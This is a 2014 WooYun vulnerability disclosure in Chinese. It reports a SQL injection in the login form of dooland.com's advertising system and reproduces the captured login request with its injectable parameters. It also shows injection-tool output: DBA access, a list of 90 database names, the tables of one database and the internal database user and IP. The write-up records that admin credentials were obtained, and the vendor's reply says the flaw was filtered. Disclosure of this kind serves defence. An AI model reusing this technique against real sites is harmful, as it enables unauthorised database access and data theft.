当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-052009

漏洞标题：读览天下高权限注入N多库

相关厂商：dooland.com

漏洞作者： 小胖子

提交时间：2014-02-26 12:36

修复时间：2014-04-12 12:37

公开时间：2014-04-12 12:37

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-02-26： 细节已通知厂商并且等待厂商处理中
2014-02-27： 厂商已经确认，细节仅向厂商公开
2014-03-09： 细节向核心白帽子及相关领域专家公开
2014-03-19： 细节向普通白帽子公开
2014-03-29： 细节向实习白帽子公开
2014-04-12： 细节向公众公开

简要描述：

不知道重复没有，xsser骗我20WB 刷回来

详细说明：

系统地址：
http://e.dooland.com/ 广告系统。
登陆存在注入。

login.jpg


抓登陆包

POST /?action=login HTTP/1.1
Host: e.dooland.com
Proxy-Connection: keep-alive
Content-Length: 31
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Origin: http://e.dooland.com
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/29.0.1547.66 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://e.dooland.com/
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8
Cookie: PHPSESSID=0326k6lvnaoiopagcb82cra9j3
username=1&password=1&x=17&y=10


果断是注入：
[20:32:58] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.3.10
back-end DBMS: MySQL 5.0
[20:32:58] [INFO] fetching current database
[20:32:58] [WARNING] reflective value(s) found and filtering out
[20:32:58] [INFO] retrieved: ads
current database: 'ads'
[20:32:58] [INFO] testing if current user is DBA
[20:32:58] [INFO] fetching current user
[20:32:58] [INFO] retrieved: dbadm@121.9.213.7
current user is DBA: True
DBA权限 90个库 是找到大库房了
available databases [90]:
[*] A_Bank
[*] ads
[*] adstat
[*] adsystem
[*] ahvnet
[*] api_site_chinagames
[*] api_site_tttz
[*] asus
[*] bbappnet
[*] billwang
[*] business
[*] client
[*] collector
[*] common
[*] cover
[*] dayoo
[*] dongyou
[*] DoolandERP
[*] doolandmanager
[*] DownLoadInfoDB
[*] dudubao
[*] dudubao_bak
[*] dudubao_book
[*] dudubao_gztv
[*] dudubao_hd
[*] eben
[*] expand
[*] fhxxw
[*] gdvnet
[*] gdvnet2
[*] gdwap
[*] gxvnet
[*] gzvnet
[*] hzkzy
[*] ifeng
[*] information_schema
[*] ipad_adsys
[*] JIANBAO
[*] jigou
[*] jsvnet
[*] jxvnet
[*] kindle_caixin
[*] kuanzon
[*] lcbook
[*] lephone
[*] lib
[*] mag_pub
[*] magazine_upload
[*] mysql
[*] news
[*] newspaper
[*] OEM
[*] opds_aldiko
[*] paycenter
[*] qinghua
[*] qqcaibei
[*] readstat
[*] ReadStat
[*] sctfds
[*] scvnet
[*] seo
[*] shop_car
[*] sina_book
[*] sina_mag_cooperation
[*] stat_dudubao
[*] stat_gxvnet
[*] stat_jxvnet
[*] stat_paihang
[*] suzhmobile
[*] system_check
[*] test
[*] tob_client
[*] ty189
[*] ty189_mail
[*] ty189_mail_hd
[*] ty189_mail_new
[*] ty189_mail_test
[*] ucenter
[*] unicom
[*] union
[*] vip_statistics
[*] vnet139
[*] wangyi163
[*] wap
[*] xjvnet
[*] ynvnet
[*] zazhishe
[*] zhongshan
[*] zhuanti
[*] zjvnet
当前库ads的表
Database: ads
[38 tables]
+----------------------------+
| Client_ad |
| Client_stat |
| ad_photo |
| ad_photo_bak |
| ad_photo_bak2 |
| ad_photo_bak3 |
| ad_send |
| ad_send_20100115 |
| ad_send_bak |
| ad_send_bak2 |
| ad_send_bak20100107 |
| ad_send_bak20100112 |
| area |
| area_bak |
| click_2010_area |
| conn |
| conn_20101125 |
| conn_bak |
| conn_bak1 |
| fhxxw_ad_photo |
| fhxxw_count |
| keywords_ad |
| keywords_ad_bak_20090107 |
| magazine_page |
| magazine_page_bak1 |
| magazine_page_bak2 |
| magazine_page_bak20090107 |
| magazine_photo |
| magazine_photo_2010118 |
| magazine_photo_bak20090107 |
| magazine_photo_bak20090112 |
| news |
| stat |
| stat_2010_area |
| tag_ad |
| tag_products |
| user |
| user_bak |
+----------------------------+
最后找到admin的密码 进入后台，可删增广告。

admin.jpg

漏洞证明：

系统地址：
e.dooland.com/ 广告系统。
登陆存在注入。

login.jpg


抓登陆包

POST /?action=login HTTP/1.1
Host: e.dooland.com
Proxy-Connection: keep-alive
Content-Length: 31
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Origin: http://e.dooland.com
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/29.0.1547.66 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://e.dooland.com/
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8
Cookie: PHPSESSID=0326k6lvnaoiopagcb82cra9j3
username=1&password=1&x=17&y=10


果断是注入：
[20:32:58] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.3.10
back-end DBMS: MySQL 5.0
[20:32:58] [INFO] fetching current database
[20:32:58] [WARNING] reflective value(s) found and filtering out
[20:32:58] [INFO] retrieved: ads
current database: 'ads'
[20:32:58] [INFO] testing if current user is DBA
[20:32:58] [INFO] fetching current user
[20:32:58] [INFO] retrieved: dbadm@121.9.213.7
current user is DBA: True
DBA权限 90个库 是找到大库房了
available databases [90]:
[*] A_Bank
[*] ads
[*] adstat
[*] adsystem
[*] ahvnet
[*] api_site_chinagames
[*] api_site_tttz
[*] asus
[*] bbappnet
[*] billwang
[*] business
[*] client
[*] collector
[*] common
[*] cover
[*] dayoo
[*] dongyou
[*] DoolandERP
[*] doolandmanager
[*] DownLoadInfoDB
[*] dudubao
[*] dudubao_bak
[*] dudubao_book
[*] dudubao_gztv
[*] dudubao_hd
[*] eben
[*] expand
[*] fhxxw
[*] gdvnet
[*] gdvnet2
[*] gdwap
[*] gxvnet
[*] gzvnet
[*] hzkzy
[*] ifeng
[*] information_schema
[*] ipad_adsys
[*] JIANBAO
[*] jigou
[*] jsvnet
[*] jxvnet
[*] kindle_caixin
[*] kuanzon
[*] lcbook
[*] lephone
[*] lib
[*] mag_pub
[*] magazine_upload
[*] mysql
[*] news
[*] newspaper
[*] OEM
[*] opds_aldiko
[*] paycenter
[*] qinghua
[*] qqcaibei
[*] readstat
[*] ReadStat
[*] sctfds
[*] scvnet
[*] seo
[*] shop_car
[*] sina_book
[*] sina_mag_cooperation
[*] stat_dudubao
[*] stat_gxvnet
[*] stat_jxvnet
[*] stat_paihang
[*] suzhmobile
[*] system_check
[*] test
[*] tob_client
[*] ty189
[*] ty189_mail
[*] ty189_mail_hd
[*] ty189_mail_new
[*] ty189_mail_test
[*] ucenter
[*] unicom
[*] union
[*] vip_statistics
[*] vnet139
[*] wangyi163
[*] wap
[*] xjvnet
[*] ynvnet
[*] zazhishe
[*] zhongshan
[*] zhuanti
[*] zjvnet
当前库ads的表
Database: ads
[38 tables]
+----------------------------+
| Client_ad |
| Client_stat |
| ad_photo |
| ad_photo_bak |
| ad_photo_bak2 |
| ad_photo_bak3 |
| ad_send |
| ad_send_20100115 |
| ad_send_bak |
| ad_send_bak2 |
| ad_send_bak20100107 |
| ad_send_bak20100112 |
| area |
| area_bak |
| click_2010_area |
| conn |
| conn_20101125 |
| conn_bak |
| conn_bak1 |
| fhxxw_ad_photo |
| fhxxw_count |
| keywords_ad |
| keywords_ad_bak_20090107 |
| magazine_page |
| magazine_page_bak1 |
| magazine_page_bak2 |
| magazine_page_bak20090107 |
| magazine_photo |
| magazine_photo_2010118 |
| magazine_photo_bak20090107 |
| magazine_photo_bak20090112 |
| news |
| stat |
| stat_2010_area |
| tag_ad |
| tag_products |
| user |
| user_bak |
+----------------------------+
最后找到admin的密码 进入后台，可删增广告。

admin.jpg

修复方案：

0x1：数据过滤。
0x2：求20rank抚慰心灵。

版权声明：转载请注明来源 小胖子@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：20

确认时间：2014-02-27 11:29

厂商回复：

已过滤

最新状态：

暂无

漏洞评价：

评论

  1. 2014-02-26 12:46 | niliu 认证白帽子 ( 核心白帽子 | Rank:1542 漏洞数:206 | 逆流而上)

    这厂商是小厂商吧？

  2. 2014-02-26 12:52 | 小胖子 认证白帽子 ( 核心白帽子 | Rank:1727 漏洞数:140 | 如果大海能够带走我的矮丑...)

    @niliu 恩 每次到我 就是小厂商了，MLGBD

  3. 2014-02-26 12:59 | niliu 认证白帽子 ( 核心白帽子 | Rank:1542 漏洞数:206 | 逆流而上)

    @小胖子 昨天我也看到了，一看“相关厂商： dooland.com” 只要是英文域名的就是小厂商了

  4. 2014-02-28 18:28 | U神 ( 核心白帽子 | Rank:1285 漏洞数:142 | 感谢乌云，知恩不忘，其实我一直都在乌云默...)

    @niliu 审核员经常都不知道怎么走大走小，有的时候英文域名的二级厂商也走首页，说是影响大，这个漏洞也影响大为什么走小的。好无语是不是？

  5. 2014-03-01 19:20 | niliu 认证白帽子 ( 核心白帽子 | Rank:1542 漏洞数:206 | 逆流而上)

    @U神 是，可能对小胖儿要求比较高 哈哈